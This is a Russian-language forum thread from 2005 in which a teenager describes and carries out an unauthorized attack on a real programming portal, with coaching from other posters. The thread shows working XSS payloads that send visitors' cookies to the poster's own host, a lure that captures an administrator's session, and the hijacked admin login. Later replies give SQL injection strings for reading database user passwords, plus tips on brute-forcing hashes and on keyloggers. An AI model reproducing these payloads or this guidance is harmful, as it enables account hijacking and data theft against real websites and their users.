Просмотр полной версии : Взлом движка сайта
Здравствуйте.
Не знаю, куда лучше написать это сообщение, поэтому пишу во флейм, так как написано, что сюда можно писать все(кроме рекламы).
Итак, мне 15 лет, я "увлекаюсь" web-разработками. Думаю, что неплохо владею PHP(+MySQL),HTML,CSS,JavaScript.
Я нашел уязвимость на одном из порталов по программированию. Уязвимость вот какая:
Есть страница редактирования настроек профиля. Там есть поля "Имя", "Email", "Откуда вы" и т.п. После проверки всех полей "на вшивость" я обнаружил, что при редактировании профиля поле "Откуда вы" не обрабатывается функцией htmlspecialchars(), а также не ограничивается в длине. То есть на страницу редактирования собственного профиля можно внедрить абсолютно любой html(+javascript, etc.) код.
Теперь у меня есть несколько вопросов:
1. Почему, когда я вставляю в это незащищенное поле текст типа <? echo "VasiaLamer"; ?>, у меня не выполняется код? При просмотре исходника страницы(view source) этот код написан без изменений. То есть символы < и > не заменены. Как при этом поступить, чтобы можно было выполнить запрос в БД?
2. На странице написания приватных сообщений обнаружена такая же ошибка при попытке "переслать" сообщение другому пользователю. Я сформировал javascript'ом строку вида http://hostname.ru/code.php?cookie="куки"&host="хост"
Где скрипт code.php записывает данные из строки в файлы. В результате я получил несколько хэшей паролей. Что мне с ними делать? Начать подброрку с помощью md5inside?
3. Где можно почитать про то, что такое шеллы и снифферы?
Zadoxlik
05.07.2005, 13:15
1) Видать ты не так хорошо знаешь PHP как рассказываешь =). Возможны 2 варианта: работа с MySQL или работа с текстовой бд ввиде текстовых файлов. Возьмем случай номер 1. Все введенные тобой данные считываются из ячеек таблицы бд MySQL специальной командой. Но ведь там нигде нет вызова вставки файла в сценарий функцией include( ) или require( ). Значит введенная тобой информация ни каким образом не сможет быть интерпретирована как php код. Тоже самое с текстовой дб. Все манипуляции скорее всего происходят с массивом, созданным обращением к файле текст-дб $file=file("text.txt") или $fp=fopen("text.txt", "r"). В любом случае содержимое текст-дб будет так или иначе занесено в переменную(ые) и(или) массив(ы) и так же никаим образом не сможет проявить себя как PHP-сценарий.
2)Изучи структуру своих куков на портале и сверь с тем что тебе пришло. Если на портале есть система "запомнить меня" тогда ты сможешь пдделать куки и зайти на портал под чужим логином. Т.о. есть возм-сть получить админку. Для подмены куков существуют спец проги, или это можно делать вручную
3) www.ya.ru
1) Видать.
Я правильно понял, с помощью этой уязвимости ничего нельзя сделать?
Zadoxlik
05.07.2005, 14:35
Нет. Если я правильно понял, то это пассивный Xss. С его помощью можно украсть куки пользователя или задефейсить браузерозависимо страницу своего профайла.
задефейсить браузерозависимо страницу своего профайла.
Это ясно, только вот... зачем мне дефейсить страницу своего профиля?
Zadoxlik
05.07.2005, 16:22
Чтобы было развлекательно админам посмотреть.
Ладно, остановимся на cookies.
Написал небольшой скрипт на JavaScript, но кое-что не работает. Помогите.
Загружаю на страницу невидимый фрейм, который открывает мой скрипт и пишет в строке cookies.
<iframe frameborder=0 height=1 name="topwindow" width=1 style='display:none' src='javascript:var a;a=document.cookie;parent.topwindow.location.href ="http://
hostname.ru/code.php?cookie="+a;'></iframe>
Почему-то переменная "a" пуста...
Если неприльно попробовать вот так:
<iframe frameborder=0 height=1 name="topwindow" width=1 style='display:none' onload='javascript:var a;a=document.cookie;parent.topwindow.location.href ="http://
hostname.ru/code.php?cookie="+a;'></iframe>
То переменная "a" есть. В ней cookies. Но опять фрейм постоянно перезагружается.
Что тут делать? Почему в первом случае переменная пуста, а во втором нет?
P.S. Или может есть другой способ загрузить документ на своем сервере, чтобы пользователь этого не заметил?
Zadoxlik
05.07.2005, 22:09
Потому что фрейм не считается тем же документом что и основная страница. Внедряй через картинку размером 0 на 0 или стили любого другого тега.
Ура! Внедрил код в картинку. Работает. :)
Написал у них на сайте в гостевухе адрес "http://...адрес просмотра профиля..." и еще какую-то лабуду. Один из админов клюнул и зашел по этой ссылке. :)
В результате в мой файл hackcookie.txt были записаны значения cookies. С помощью программы Cookie Editor(спасибо ответившим в соседней ветке) заменил значения своих cookies на cookies из файла. Захожу на сайт - я администратор. :) Дело сделано! :)
Всем спасибо! :)
Но, как оказалось позже, права администратора ничего не дают, кроме как писать в гостевухе от его имени... У них на сайте 2 степени защиты. Теперь, чтобы войти в административный центр, мне надо ввести логин и пароль... но данные того админа не подходят. Точно не помню, как такая защита называется, но вроде SSL. Выскакивает такое окошко с двумя полями "логин" и "пароль".
Эту защиту можно как-нибудь обойти?
Я знаю 2-а самых простых способа:
1) Встать около юзера когда он вводит данные =)
2) Отследить набор данных через прерывания клавиатуры (разнообразные клавиатурные шпионы), но это отпадает даже при минимальной защите машины... хотя...
в общем взлом такой системы отпадает, правильно?
Zadoxlik
07.07.2005, 11:16
=)) Улыбнуло "Точно не помню, как такая защита называется, но вроде SSL". SSL - весчь "немножечко" другая.
Если окошко выскакивает - это еще ничего н значит. Авторизация может прохдить самым обычым спосоом, каким она проходила бы и через вебформу. Поэтому можно дать след. советы:
1)Попробуй слепую SQL-injection типа pass='qwerty' OR 1=1
2)Попробуй брутануть хеш админа из кукисов и ляпнуть в окошко авторизации
Нет, все-таки я думаю, что это SSL. Зайдите, например, на vologda.ru/home - у вас выскочит окошечко, где вам надо будет ввести данные. Вот на том сайте выскакивает точно такое же.
Теперь вопрос о другом. Думаю, что на сайте можно сделать sql-injection.
Меняю значение cookies с выданого мне хэша (например 20deac5f8ab126ec45cb1ddb564239bb) на "+or+1=1/* . В результате на каждой странице сайта вверху появляются ошибки:
Warning: mysql_result(): Unable to jump to row 0 on MySQL result index 10 in /home/xxx/public_html/index.php on line 59
Warning: mysql_result(): Unable to jump to row 0 on MySQL result index 10 in /home/xxx/public_html/index.php on line 60
Еще ошибки подобного рода выскакивают на сайте, когда в строке ?mod=news&id=1 пишешь вместо 1 несуществующий id новости, например ?mod=news&id=12425345345
Но вот что дальше делать... я и не знаю. Догадываюсь, но... все-равно прошу помощи.
id=1 здесь подставь перед 1 знак ' если кавычка не будет экранироваться и выскочит ошибка то есть скл инъекция..
Существующая новость - id=73 - все выводит нормально, никаких ошибок, естественно.
Ставлю - id='73 - на страницу лезет КУЧА(6!) ошибок вот такого типа:
Warning: mysql_result(): Unable to jump to row 0 on MySQL result index 17 in /home/xxx/public_html/news/index.php on line 31
Все последующие ошибки ничем не отличаются, кроме номера строки с ошибкой. То есть дальше on line 32.. 33.. 34..
Подставляю - id="73 - те же ошибки.
Делаем SQL-INJECTION? :)
Если ставим кавычку после номера, то есть - id=73" - то ничего не происходит. Ошибки нет.
DRON-ANARCHY
08.07.2005, 07:36
Как это:
я админ, но права админа ничего не дают? Нахрена тогда быть админом, если у тебя нет никаких прав?
Может, ты просто не знаешь, где админка лежит?
мда похоже на инъекция теперь замути запрос )) здесь уже я мало знаю к сожалению..
На сайт я вхожу под чужим именем(админом). Там есть ссылка на "административный центр". Я иду по ней, у меня выскакивает окошко, о котором я уже писал. Поэтому права администратора пока ничего не дают, кроме как писать от его имени в гостевухе.
Почему ошибку выдает, когда ставишь кавычку перед номером, а не после?
после..
id=1'
далее если ковычка проканала, пишем запрос:
union select /*
достаточно это строчки для проверки инъекции. Если будет ошибка о несовмадении атрибутов селекта, то ты на правильном пути. =)
далее можно составить примерно такой запрос:
union select null,user,password from mysql.user/*
ну а там дальше видно будет проканает или нет). Но это как 1 из вариантов узнать пасс БД. Главное, чтобы инъекция была.. =)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot